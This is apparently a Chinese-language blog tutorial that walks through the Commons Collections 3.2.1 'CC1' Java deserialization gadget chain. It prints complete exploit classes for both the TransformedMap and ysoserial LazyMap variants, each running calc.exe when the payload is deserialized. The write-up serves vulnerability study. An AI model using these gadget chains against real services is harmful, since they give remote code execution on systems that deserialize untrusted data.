环境搭建 jdk_8u65 网上随便找的一个
sun源码包 下载后解压,把 jdk-af660750b2f4/src/share/classes/sun
放到jdk中src⽂件夹中,默认有个src.zip 需要先解压
还要导入src
新建maven 项目
找到cc1链,存在漏洞的版本
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
套上<dependencies>
xml 重载一下,然后下载commons-collections 源码
漏洞分析 那么就开始分析了
漏洞处 在Transformer.java 中实现了这个接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public interface Transformer { public Object transform (Object input) ; }
注意这个transform 方法,接受的是一个Object
idea按 ctrl+alt+b
查看实现该接口的类
具体就不一个个看了,漏洞点就在InvokerTransformer
1 public class InvokerTransformer implements Transformer , Serializable
它对于transform 的实现是这样写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
可以看到,try 这里基本上就是反射常用的几个点,而iMethodName 和iArgs 在构造函数里是可以控制的
它又正好继承了Serializable ,是可以反序列化的
普通java反射命令执行
1 2 3 4 5 6 public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); Class c = Runtime.class; Method execMethod = c.getMethod("exec" , String.class); execMethod.invoke(r, "calc.exe" ); }
先正向实现一下
1 2 3 4 5 public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }); invokerTransformer.transform(r); }
按照它的构造函数传,第二个是Class数组 ,第三个是Object数组
漏洞点证明存在,接下来就是找该transform
的调用链,怎么用才能调用到这个transform
,或者是同名transform
函数
寻找漏洞链 右键Find usages
接下来就是慢慢找
像这种transform
里调用transform
就不用看了
可利用的大概是这么些方法
秉持着一般找Map衍生类的做法 ,就先看Map里面的
此时进入到TransformedMap
构造方法是protected 的,看静态方法
然后就看这三个具体方法
它只有这两处可以调用,put一看就知道,填充Map
于是可以写出这种半成链
1 2 3 4 5 6 7 public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }); Map map = new HashedMap (); Map transformedMap = TransformedMap.decorate(map, invokerTransformer, null ); transformedMap.put(r, "value" ); }
接下来看第二个
同样也是put,只不过一个是key,一个是value,换换位置就行
1 2 3 4 5 6 7 public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }); Map map = new HashedMap (); Map transformedMap = TransformedMap.decorate(map, null , invokerTransformer); transformedMap.put("key" , r); }
checkSetValue 但是前面两个都只能在本类中进行调用,可利用性不大
最后是这个
这个AbstractInputCheckedMapDecorator 是TransformedMap 的父类
而它的名字叫setValue()
,根据名字来理解,这就是对map遍历的赋值的时候调用的函数
AbstractInputCheckedMapDecorator 是 TransformedMap 的父类。对 HashMap 比较熟悉的 话对 Map.Entry 一定也不会陌生。 这里简单说一下,我们知道 Map 是用来存放键值对的,HashMap 中一对 k-v 是存放在 HashMap$Node 中的,而 Node 又实现了 Entry 接口,所以可以粗略地认为 k-v 是存放在 Entry 中的,遍历 Map 时,可以通过 entrySet()方法获取到一对对的 k-v(Map.Entry 类 型)。如下代码,通过遍历 TransformedMap,再使用 setValue()传入
引用一个师傅的,此时就相当于是,entry 储存了key和value,然后对entry 指向setValue
,就是更改此时value的值
调试到这里的时候也能很明显的看到
而这里为什么会执行AbstractInputCheckedMapDecorator 的该方法呢
因为AbstractInputCheckedMapDecorator 是它的父类,内置了该setValue
方法,在TransformedMap 类中并未对该方法进行重写,所以执行setValue
时是走到这里
1 2 3 4 5 6 7 8 9 10 public static void main (String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }); Map map = new HashedMap (); map.put("key" , "value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry : transformedMap.entrySet()) { entry.setValue(r); } }
AnnotationInvocationHandler 前面两个都是该类的方法,链子不能进行到readObject
,所以接下来就看AbstractInputCheckedMapDecorator 的setValue
了
虽然38处有点多,但是有一处的readObject
直接调用了该方法
正是遍历的时候调用的
但是它的构造函数和构造器都不是public 的(没写public等,就是default 类型
default 只能在该package 下才能得到,所以只能用反射,构造也只能反射构造
反射 先不管其它的,把该类反射出来
构造函数
第一个类型是继承了注解的Class,第二个就是Map
呃呃
而Override 就是一个注解,所以实例化的时候直接Override.class 就可以了
实例化代码
1 2 3 4 Class c = Class.forName("sun,reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
此时如果正常序列化最终得到的o,然后反序列化按理想状况就可以rce了
但是还有几个问题
Runtime不可序列化 Runtime不可序列化,但是它的Class 是可以序列化的,即Runtime.Class
1 2 3 4 5 Class r = Runtime.class;Method getRuntimeMethod = r.getMethod("getRuntime" , null );Runtime runtime = (Runtime) getRuntimeMethod.invoke(null , null );Method execMethod = r.getMethod("exec" , String.class);execMethod.invoke(runtime, "calc.exe" );
反射命令执行是这样的,而这每一步都要利用InvokerTransformer 来执行
我们再来看一下InvokerTransformer 的相关参数
iMethodName 很明显就是函数名,而iParamTypes 是paramTypes 的元素在这里就是iMethodName 该函数的参数类型,例如我们想执行getMethod()
,在这里就得传入getMethod()
的参数类型
那么第一步,得到getRuntimeMethod ,即对Runtime.class
执行getMethod()
,参数类型为String和Class,但接受的paramTypes 为Class数组,所以得传new Class[]{String.class, Class[].class}
,第一个参数String为getRuntime ,第二个为null
最终编写如下
1 Method getRuntimeMethod = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class);
接下来Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
,将得到的静态构造函数执行,实例出一个Runtime
就是对getRuntimeMethod 执行invoke
,两个参数分别如下
最终编写
1 Runtime r = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntimeMethod);
最后就是直接对实例化出来的Runtime 执行exec
,参数如下
参数值为calc.exe ,最终编写
1 new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }).transform(r);
成功执行
这里有一个小优化,就是类ChainedTransformer
该类构造是接受一个Transformer 数组
然后它的transform 是对Transformer 数组元素循环执行transform
然后上一个执行完得到的object 充当下一轮的transform
对象,本来我们需要传入的也只有Runtime.class
最后得到
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform(Runtime.class);
所以目前,理想上来是编写出这样的链子就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" });Map map = new HashedMap ();map.put("key" , "value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
两个if 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
这里可以看到,AnnotationInvocationHandler 执行readObject
的时候还有两个if,保证两个if都为true就行
打个断点调试一下
这里获取了注解(也就是Override )的实例
然后在这里获取其成员方法(也就是key为方法名,value为返回类型)
举个例子
该注释类,最终得到的key 和value
然后是这里
对memberValues 执行getKey 方法,也就是得到此时key 名,而这个map就是我们前面定义的HashMap
然后得到该key 名之后,在前面注释类得到的key 和value 执行get
方法,get(name)
方法就是寻找key=name 的value 值
,也就是如果此时我们这个HashMap 的key 值等于注释类的key 值,就能成功返回一个memberType
将这里改为”value”
再次执行,memberTypes 就与我们所想的一样,是Target 方法的返回类型
此时第二个if也是可以直接通过的
补充 前面编写chainedTransformer 的时候说过,我们只需要第一个传入的值是Runtime.class ,后面的就可以正常执行,所以我们还需要构造出一个执行完transform
后,返回的是Runtime.class 的类
这里又要说到一个类ConstantTransformer
它构造时给constantToReturn 一个Runtime.class ,然后它接受一个Object,都是返回该Runtime.class ,很符合我们的要求
PS:因为第一个input 的Object 是这个类,不用管是怎么传进去的…
Gadget Chain 至此,整个链子就编写完成了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.HashedMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.Map;public class CC1Test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashedMap (); map.put("value" , "value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.bin" )); Object obj = ois.readObject(); return obj; } }
理一理Gadget Chain
❀完结撒花❀
ysoserial 分析 ysoserial 的CommonsCollections1 链和白日梦师傅不太一样,前者是国外发现cc1链时的链子,后者时国内师傅复现时挖出来的另外一条链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
大致都是一样的,只不过map一个用的是LazyMap 一个是transformedMap ,
但是LazyMap 这里是在get
方法里面调用的transform
,看链子显示的是在AnnotationInvocationHandler.invoke()
方法中调用的LazyMap.get()
,正好是我们输入的map
然后AnnotationInvocationHandler 实际上是一个动态代理类,所以只要执行该类的方法时就一定会进入到invoke
,但是要写一个动态代理…但是动态代理有点抽象,还不太懂,然后把那两个if绕过就完事
不过反过来想想,动态代理在java反序列化安全中的作用就是进入特定的invoke
方法?
然后动态代理的写法其实都是固定的,会写就行了,也不一定非要理解
pop 前面的chainedTransformer 的构造是一样的
然后代理这,我们相当于是给LazyMap 代理了AnnotationInvocationHandler ,从而得到一个新的对象 ,这个新的对象可以强转其类型
所以我们执行该新得到的对象 中的方法时就会走到AnnotationInvocationHandler 的invoke
方法
而在AnnotationInvocationHandler 的readObject
中,for语句就已经执行了entrySet()
,所以我们也无需绕过后面的if
然后AnnotationInvocationHandler 的反射部分也是基本一样的,只不过需要给它的实例强转成InvocationHandler ,而不就是Object 了(代理的构造函数就是这样的
最后的入口还是AnnotationInvocationHandler 的readObject ,所以最后再实例化一个对象,放入刚刚构建的代理类即可
所以其实这个链子是有两个AnnotationInvocationHandler 实例的,而invoke
方法里的if绕过就是执行的函数是一个无参函数,前面可以看到memberValues.entrySet()
,正好就是一个无参函数,太巧了
最终的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Map;import java.util.HashMap;public class CC1Test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map<Object, Object> map = new HashMap <>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); InvocationHandler i = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, i); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, mapProxy); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.bin" )); Object obj = ois.readObject(); return obj; } }
最终呈现出来的效果就是报错,但是正常执行了命令
donate
感谢鼓励